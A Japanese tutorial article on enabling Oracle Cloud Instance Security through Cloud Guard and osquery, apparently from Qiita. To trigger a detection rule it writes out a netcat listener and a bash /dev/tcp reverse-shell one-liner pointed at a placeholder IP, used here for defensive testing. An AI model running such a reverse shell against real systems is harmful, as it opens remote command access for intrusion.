1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Instance Securityでコンピュート・インスタンスを監視する

Last updated at Posted at 2025-04-14

OCIのコンピュート・インスタンスの脆弱性監視には、Vulnerability Scanning(脆弱性スキャン)という無償のサービスがあります。もう一つの拡張サービスとして、Instance Securityという新しいサービスはご存じでしょうか?まずは、こちらのスライドをご覧ください。

image.png

Instance Securityは、従来の脆弱性スキャンの機能にプラスして、OS内のプロセスなどの挙動を監視するCSPM(Cloud Security Posture Management)の機能を持っているサービスです。Cloud Guardから提供されるOracle Managedの検出ルールに従って定期的にOS内を監視し、検出された問題はCloud Guardと連携されます。

どういった内容を検出するかというと、2025年4月時点でのルールは下記が提供されています。上位二つのクリティカル・リスクと定義されているパッケージの脆弱性オープン・ポートは従来の脆弱性スキャン・サービスと同じですが、それ以外のルールが新たにInstance Securityが検出するルールになっています。

image.png

また、Instance Securityを有効化すると、SQLのようなクエリでOS状態の情報を取り出せるosqeuryの機能も使用できるようになります。

image.png

Instance Securityは、基本的には有償サービスですが、1リージョンあたり5インスタンスまで、パッケージの脆弱性とオープンポートのルールのみ検出という無償の利用枠が提供されています。

今回は、このInstance Seucirtyサービスの設定および動作手順について紹介します。

IAMポリシーの設定

必要となるポリシーは、こちらを参考に

Cloud Guard側の設定

Cloud Guardを有効化されていない場合、この記事を参照して有効化する。

クラウド・ガード -> Recipes -> ディテクタ・レシピ -> OCI Instance Security Detector Recipe - Enterprise (Oracle管理)をクリックし、クリティカルに以下の二つのルールがある、ドキュメントのOCIインスタンス・セキュリティ・ディテクタ・ルールと内容が同じかどうかを確認する。

  • Scanned host has vulnerabilities
  • Processes listening on open ports

image.png

※注) Instance Securityは、有償利用のテナンシーのみに提供されており、それ以外のテナンシーにはこのレシピがない、もしくはルールの内容が異なっている等の場合があります。必ずレシピの内容を確認し、有償利用にも関わらず表示されているルールが違う場合は、SRにて制限解除の依頼をして下さい。

クラウド・ガード -> Configuration -> ターゲット -> Create Tagetをクリック。
image.png

ターゲット名は任意の値、コンパートメントはrootもしくは指定したいコンパートメントに
image.png

一番上はとりあえずOCI Configuration Detector Recipe (Oracle管理)
を選択し、IsntacesはAll Compute instancesをチェック、Instance Security RecipeはOCI Instance Security Detector Recipe - Enterprise (Oracle管理)選択し、次に進んで作成。
image.png

作成したターゲットをクリックし、以下のようにワークロード保護に指定したレシピが追加されていればOK
image.png

コンピュート・インスタンス側の設定

コンピュート・インスタンスのOracle Cloudエージェント・プラグインからCloud Guard Workload Protectionを有効化する。コンピュート・インスタンスの詳細 -> 管理 -> Oracle Cloud エージェント
image.png

Instance Securityは、上記の通りCloud Agentのプラグインもしくは、WLPエージェントを手動インストールすることが可能です。ただ、サポートするプラットフォームは原則的にComputeのイメージから作成可能なプラットフォームになり、それ以外は自己責任です。ですので、RHELはインストールして使用することはできるかもしれませんが、現在は公式にはサポートされていません。

必要となる設定はこれで完了です。ポリシーの設定が正しくできていれば、脆弱性パッケージとオープンポートのチェックはDailyで実施されるので翌日にはCloud Guardの問題のページに表示されていると思います。
次は実際にOS内のアクティビティに対してInstance Securityが検出する例を試してみます。

Instace Securityのルールに該当するアクションを実行

プラグインを有効化したLinuxのコンピュート・インスタンスで、以下の二つの操作を実行しておく

  • ルール: Possible reverse shell on system processesを検出させる
$ nc -vnlp 4444 --外からの接続を待ち受け 
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

異なるインスタンスからリモート接続する
$ bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/4444 0>&1
  • ルール: Suspicious cron job running from home profile を検出させる
$ crontab -e  --cronに以下を追記
*/30 * * * * data > /home/opc/data.log

Cloud Guardで検出したルールを確認

上記の二つのルールは4時間ごとにチェックされるので、時間が経過した頃合いをみてCloud Guardのコンソールをチェックする。クラウド・ガード -> Alerts -> 問題 -> ディテクタ・タイプをInstance Securityでフィルタする
image.png

Possible reverse shell on system processesルールの検出結果の詳細
image.png

また、24時間経過すればProcesses listening on open portsルールも検出される。
image.png

Instance Securityの検出ルールは、Windows向けのものが比較的多く用意されていますので、Windowsのコンピュート・インスタンスでも是非試してみて下さい。
また、検出ルールはOracle Managedなのでユーザーによる作成やカスタマイズというのはできませんが、こういうルールが必要という要望はwelcomeですので、SRでのエンハンス・リクエストなどを活用頂ければと思います。
次は、WLPエージェントがosqueryを実行してCloud GuardにOS情報を表示する方法を試してみます。

osqueryを実行する

クラウド・ガード -> Queriesをクリックし、ScopeをTargetsでAll targetsを選択、下記のSQL Queryをコピーして実行

SELECT pid, uid, name, ROUND(((user_time + system_time) / (cpu_time.tsb - cpu_time.itsb)) * 100, 2) AS percentage FROM processes, (SELECT (SUM(user) + SUM(nice) + SUM(system) + SUM(idle) * 1.0) AS tsb,SUM(COALESCE(idle, 0)) + SUM(COALESCE(iowait, 0)) AS itsb FROM cpu_time) AS cpu_time ORDER BY user_time+system_time DESC LIMIT 5;

image.png

クエリー完了後、以下のようにTop5のプロセスが表示される。osqueryの具体的な使用方法はこちら。また、Past queriesから結果をcsvファイルとしダウンロードやScheduled queiresから定期的な実行ができる。
image.png

以上で、ひと通りのInstance Securityの機能紹介は終了です。脆弱性スキャンの設定や動作は、少し古いですがここから確認できます。
脆弱性スキャンは、シンプルで見やすくまとめられた無償のインスタンス監視サービス、Instance Securityは、昨今求められているCSPMの流れを汲んだサービスとして提供され、脆弱性スキャンの後継サービスとして機能拡張がされていく期待のサービスとも言えます。どちらか一方を強く推奨しているわけではないので、セキュリティ要件やコストに応じて、上手に使い分けて頂ければと思います。

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?